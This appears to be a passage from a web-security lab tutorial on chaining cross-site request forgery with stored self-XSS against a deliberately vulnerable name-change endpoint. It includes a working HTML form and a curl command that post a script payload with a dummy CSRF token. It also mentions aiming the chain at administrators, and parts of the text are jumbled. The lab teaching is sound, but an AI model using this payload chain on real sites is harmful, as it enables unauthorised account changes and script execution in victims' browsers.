POST /csrf/lab25/name.php HTTP/1.1 name=<new value>&csrf_token=CSRF-TOKEN-1234
Watch that csrf_token field — it travels in every honest request and looks like real defense. In repeater the first question is always: does the endpoint read it, or just receive it?
<u>test</u> through the box → renders → HTML lands raw in a stored sink that every profile view executes.csrf_token and never validates it. The POC submits happily with a dummy value — or with the field missing entirely. ("The token is being passed" ≠ "the token is being checked.")<form method="POST" action="https://stuxnet.pro/csrf/lab25/name.php">
<input type="hidden" name="name"
value="<script>alert(document.domain)</script>">
<input type="hidden" name="csrf_token" value="anything-at-all">
<button type="submit">chain POC</button>
</form>
Two beats in one: the payload rides the POST body, and the token field carries anything (or is omitted) — the endpoint never reads it. The same POC body as curl: curl -X POST 'https://stuxnet.pro/csrf/lab25/name.php' --data-urlencode 'name=<script>alert(document.domain)</script>' --data-urlencode 'csrf_token=anything'. Fire it from another origin/hosted page in a logged-in browser: the name change is the payload delivery — alert executes on the victim's next profile view. A different browser proves the chain without your session anywhere near it.
CSRF is the classic partner, not the only one: name-change endpoints that don't revalidate (threaten password reset flows), account-switching/impersonation features, and privileged shared pages where your stored name renders to higher-privilege users (administrators being the jackpot). The chain mindset is the transferable skill: combine the XSS with anything that puts it into someone else's context — that combination is the reportable finding.
CSRF × self-XSS — the chain
Cross-Site Request Forgery